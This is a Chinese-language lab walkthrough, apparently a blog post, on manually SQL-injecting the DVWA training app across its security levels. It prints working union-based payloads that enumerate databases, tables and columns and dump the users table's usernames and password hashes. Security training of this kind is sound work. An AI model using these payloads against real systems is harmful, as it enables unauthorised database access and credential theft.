渗透测试实验_使用DVWA进行SQL手动注入 SQL手动注入的基本步骤 安全等级Low Medium High

SQL手动注入

1. 前期数据准备

查看DVWA数据库的信息

  • 第一步:打开Windows2003虚拟机后,启动phpStudy
    在这里插入图片描述

  • 第二步:进入MySQL
    在这里插入图片描述

  • 第三步:查看数据库

  • 查看库名
    在这里插入图片描述

  • 选择数据库“dvwa”后,查看其中的表名
    在这里插入图片描述

  • 查看“dvwa“库中users表结构
    在这里插入图片描述

  • 查看users表中的username和password信息
    在这里插入图片描述

2. 前期实验准备

  • 第一步:先打开BurpSuite
    在这里插入图片描述
  • 第二步:再打开火狐浏览器的代理服务
    在这里插入图片描述
  • 第三步:在火狐浏览器中输入虚拟机IP,访问dvwa服务
    在这里插入图片描述

3. SQL手动注入的预备知识

以下内容引用自《sql手动注入常用步骤

原理
提起SQL注入,相信大家并不陌生,就是通过把SQL命令插入到Web表单提交输入域名页面请求查询字符串,最终达到欺骗服务器执行恶意的SQL命令,从而达到和服务器进行直接的交互。
有可能存在SQL注入的数据库类型可以是Mysql,Mssql,Oracle,Postgress等等

预备知识

  • 对MySQL数据库有一定了解;对基本的sql语句有所了解;
  • 对url编码有了解:空格=‘%20’,单引号=‘%27’,双引号=‘%22’,井号=‘%23’等

4. SQL手动注入的基本步骤

  1. 判断是什么类型注入,有没有过滤关键字,是否能绕过
  2. 确定存在注入的表的列数以及表中数据那些字段可以显示出来
  3. 获取数据库版本,用户,当前连接的数据库等信息
  4. 获取数据库中所有表的信息
  5. 获取某个表的列字段信息
  6. 获取相应表的数据

在这里插入图片描述
在这里插入图片描述

5. 实现SQL注入

  • 寻找SQL注入的方法
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • SQL注入的危害
    在这里插入图片描述

6. Low等级

在这里插入图片描述

  • 选择“Low”安全等级,再点击“SQL Injection”
    在这里插入图片描述在这里插入图片描述

  • 判断注入类型
    首先测试正常数据

    • 简单ID查询的正常功能体验:输入正确的User ID(例如1,2,3…),点击Submit,将显示ID First name,Surname信息。
    • 输入错误的不显示
      在这里插入图片描述
  • 遍历数据库表,遍历出了数据库中所有内容。

    • 尝试在正常数据后加上单引号,发现数据为空,加上注释符(注释符:#,–+ , //, – )后发现依旧可以正常输出,存在注入点。看是否报错,如果数据库报错,说明后台数据库处理了我们输入的数据,那么有可能存在注入点。
1and1=1

在这里插入图片描述

1 and 1=2

在这里插入图片描述

  • 判断有几个字段
    • 在链接后面添加语句【 order by xx (数字任意)】,根据页面返回结果,来判断站点中的字段数目。
1order by 1 #

在这里插入图片描述

  • 联合查询显示位置
    • 在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11#】进行联合查询(联合查询时记得把前面的查询为空,“-1” )来暴露可查询的字段号。
1union select 1,2 #

在这里插入图片描述

  • 联合查询库名
    利用内置函数暴数据库信息
    version()版本;database()数据库;user()用户;
1union select version(),database() #

在这里插入图片描述

  • 联合查询表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

在这里插入图片描述

  • 联合查询表里面的列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

在这里插入图片描述

  • 联合查询users里面的用户名和密码
1' union select user,password from users #

在这里插入图片描述在这里插入图片描述

7. Medium等级

  • 先打开BurpSuite的代理
    在这里插入图片描述在这里插入图片描述
  • 输入1提交,得到的报文发送给Repeater
    在这里插入图片描述在这里插入图片描述
  • 修改报文中的id=2
    在这里插入图片描述
id=2 union select 1,table_name from information_schema.tables wheretable_schema=(select database())#

在这里插入图片描述

8. High等级

  • 先关闭BurpSuite的代理
    在这里插入图片描述在这里插入图片描述

  • 输入1
    在这里插入图片描述

  • 遍历数据

1and1=2

在这里插入图片描述

  • 查询回显位置
1' union select 1,3 #

在这里插入图片描述

  • 查询dvwa库中的表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

在这里插入图片描述

  • 查询数据库的版本号和当前连接的数据库名
1' union select version(),database() #

在这里插入图片描述

  • 查询dvwa库中users表的列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

在这里插入图片描述

  • 查询users表中user和password字段的数据
1' union select user,password from users #

在这里插入图片描述

9. Impossible等级

Impossible级别,代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入

  • 先关闭BurpSuite的代理,选择等级
    在这里插入图片描述

  • 输入1
    在这里插入图片描述

  • 判断注入类型,发现Impossible等级很难找到注入点

1 and 1=2
1and1=2

在这里插入图片描述在这里插入图片描述

  • 查询回显位置,发现无任何结果
1' union select 1,3 #

在这里插入图片描述

  • 6
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值